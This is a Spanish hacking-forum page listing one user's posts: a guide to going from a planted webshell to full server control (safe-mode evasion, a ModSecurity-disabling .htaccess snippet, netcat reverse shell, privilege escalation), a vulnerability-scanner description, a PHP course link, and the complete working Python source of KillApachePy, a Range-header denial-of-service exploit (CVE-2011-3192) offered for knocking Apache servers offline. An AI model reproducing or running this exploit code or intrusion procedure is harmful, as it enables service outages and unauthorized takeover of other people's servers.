Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Pr0ph3t

#41
Hoy, me gustaría hablar básicamente de como partiendo de una webshell operativa, poder llegar a obtener una conexión al servidor bajo los máximos privilegios (superusuario).



El hecho de partir de una webshell hasta tener un control total del servidor no es solo un camino largo, sinó que también está formado por un factor a la hora de configurar y abastionar el servidor por parte de los administradores.

Partiremos de un entorno (Windows+ Apache) del que conocemos los datos gracias a un error forzado en la aplicación web. Las imágenes se han recogido en mi máquina virtual de Windows, por eso que algunas partes serán "virtuales" y no llegaremos a probarlas.


1. - El primer peldaño: Recolección de datos

Suponemos que tenemos a nuestra disposición una webshell que previamente hemos introducido en el servidor mediante algún fallo de seguridad en la aplicación web.

Debemos de recaudar la mayor cantidad de datos posibles para saber cuál es la seguridad del servidor en cuanto a directivas en la configuración (Safe Mode de php, Mod Security para Apache, etc).



Lo que más nos interesa:
- Software
- Uname -a
- Safe-mode




2. - Pruebas de concepto

Llegados a este apartado y a este punto, junto con la información recopilada, debemos de saber si tenemos posibilidad de ejecutar comandos en el servidor. Haremos un simple listado de directorios y archivos.



En caso de que funcione saltaremos al paso 4. De lo contrario tendremos una directiva impidiendo la ejecución de comandos y debemos de evadirla sea como sea.

3. - La gran evasión

¡No podemos hacer nada, el safe mode está activado! Tranquilo, hay una "solución". PHP carga la configuración desde php.ini situado en /etc/ a no ser que, en la carpeta en la cual ejecutamos la webshell exista un archivo php.ini preconfigurado y subido por nosotros.

Otro error básico es, activar el safe mode y deshabilitar las funciones de ejecución de comandos pero no deshabilitar funciones como ini_set. Así que, es posible usarlo para eliminar las funciones preconfiguradas para estar bloqueadas.

En cuanto a Mod Security es posible desactivarlo en una carpeta mediante un .htaccess. Y bueno, más de lo mismo (para Apache 2):

Código: text
<IfModule mod_security2.c>
   SecRuleEngine Off
</IfModule>




4. - Abriendo la puerta

Una vez ya hemos logrado ejecutar comandos debemos de descargar a un directorio en el cual tengamos los mayores permisos netcat. Aprovecho también para dejarlo para descarga compilado aquí.

No voy a explicar como "descargar o compilar" (y eso que una linea más arriba está preparado para windows) netcat puesto que a estas alturas debería de estar más que claro.



Ahora solo falta que nos conectemos y tendremos una shell.




5. - Haciendonos crecer

Este paso consiste en recopilar la mayor información sobre la versión del sistema operativo y buscar alguna forma de escalada de privilegios.

Lo podemos hacer mediante tareas programadas que en Windows XP se ejecutan con "demasiados" permisos, también disponemos de exploits como el PoC publicado recientemente.

En caso de un servidor Linux buscaremos un local root exploit que nos permita la escalada de privilegios o de lo contrario buscaremos una mala configuración en servicios como Apache o MySQL para llegar a ejecutar algún comando "subidito de tono". }:))


Espero que os haya gustado. ¡Gracias a todos los lectores! }:))

Fuente: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Autor: p0is0n-123
#42
AlegroCart es una alternativa a la hora de crear un comercio electrónico, el script es de código abierto y está basado en PHP5. Requiere de servidor Apache y base de datos MySQL.

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta User: demo  Pass: demo

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
#43
X-Scan es un escaner para la digitaliuzacion general de vulnerabilidades de un rango especifico de direcciones
IP o equipo independiente mediante multi-threading, pulg-ins(ya son soportados).
Es una herramienta vieja (2005) pero a muchos les sige resultando util.

Tiene compatibilidad con Nessus (plug NASL) para analisis de vulnerabilidades.
Tambien se puede controlar mediante comandos o con el uso de la GUI

Caracteristicas:

    Remote OS type and version detection,
    Standard port status and banner information,
    SNMP information,
    CGI vulnerability detection,
    IIS vulnerability detection,
    RPC vulnerability detection,
    SSL vulnerability detection,
    SQL-server,
    FTP-server,
    SMTP-server,
    POP3-server,
    NT-server weak user/password pairs authentication module,
    NT server NETBIOS information,
    Remote Register information, etc.


Los resultados del análisis se guardan en / Directorio de registro, y se index_ip_address.htm

Básica la lista de usuario y contraseña para llevar a cabo un atentado grave a determinados servicios, (arriba), si se encuentra habilitado en el host.

Descaga de X-Scan desde No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta

No tienes permitido ver enlaces. Registrate o Entra a tu cuenta- Creditos para juhscr por la traducción.
#44
Os dejo este code, que sirve para tirar servidores Apache (No todos)
Código: python
#!/usr/bin/env python

import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse

NAME = "KillApachePy (Range Header DoS CVE-2011-3192)"
VERSION = "0.1d"
AUTHOR = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"
LICENSE = "Public domain (FREE)"

SLEEP_TIME = 3 # time to wait for new thread slots (after max number reached)
RANGE_NUMBER = 1024 # number of range subitems forming the DoS payload
USER_AGENT = "KillApachePy (%s)" % VERSION

def attack(url, user_agent=None, method='GET', proxy=None):
    url = ("http://%s" % url) if '://' not in url else url
    host = urlparse.urlparse(url).netloc

    if proxy and not re.match('\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z', proxy, re.I):
        print "(x) Invalid proxy address used"
        exit(-1)

    proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {})
    opener = urllib2.build_opener(proxy_support)
    urllib2.install_opener(opener)

    class _MethodRequest(urllib2.Request): # Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2
        def set_method(self, method):
            self.method = method.upper()

        def get_method(self):
            return getattr(self, 'method', urllib2.Request.get_method(self))

    def _send(check=False): #Send the vulnerable request to the target
        if check:
            print "(i) Checking target for vulnerability..."
        payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER))
        try:
            headers = { 'Host': host, 'User-Agent': user_agent or USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' }
            req = _MethodRequest(url, None, headers)
            req.set_method(method)
            response = urllib2.urlopen(req)
            if check:
                return response and ('byteranges' in repr(response.headers.headers) or response.code == 206)
        except urllib2.URLError, msg:
            if any([item in str(msg) for item in ('Too many', 'Connection reset')]):
                pass
            elif 'timed out' in str(msg):
                print "\r(i) Server seems to be choked ('%s')" % msg
            else:
                print "(x) Connection error ('%s')" % msg
                if check or 'Forbidden' in str(msg):
                    os._exit(-1)
        except Exception, msg:
            raise

    try:
        if not _send(check=True):
            print "(x) Target does not seem to be vulnerable"
        else:
            print "(o) Target seems to be vulnerable\n"
            quit = False
            while not quit:
                threads = []
                print "(i) Creating new threads..."
                try:
                    while True:
                        thread = threading.Thread(target=_send)
                        thread.start()
                        threads.append(thread)
                except KeyboardInterrupt:
                    quit = True
                    raise
                except Exception, msg:
                    if 'new thread' in str(msg):
                        print "(i) Maximum number of new threads created (%d)" % len(threads)
                    else:
                        print "(x) Exception occured ('%s')" % msg
                finally:
                    if not quit:
                        print "(o) Waiting for %d seconds to acquire new threads" % SLEEP_TIME
                        time.sleep(SLEEP_TIME)
                        print
    except KeyboardInterrupt:
        print "\r(x) Ctrl-C was pressed"
        os._exit(1)

if __name__ == "__main__":
    print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
    parser = optparse.OptionParser(version=VERSION)
    parser.add_option("-u", dest="url", help="Target url (e.g. \"http://www.target.com/index.php\")")
    parser.add_option("--agent", dest="agent", help="User agent (e.g. \"Mozilla/5.0 (Linux)\")")
    parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)")
    parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. \"http://127.0.0.1:8118\")")
    options, _ = parser.parse_args()
    if options.url:
        result = attack(options.url, options.agent, options.method, options.proxy)
    else:
        parser.print_help()


Un saludo.
#45
Back-end / Videocurso PHP desde 0 [60 Videos]
Octubre 24, 2011, 02:01:02 PM
Bueno vengo a traerles un tutorial que te enseña PHP desde 0.
Consiste en una serie de 60 videos, en formato swf, lo cual no pesan casi nada.

Descarga: No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
Un saludo  8)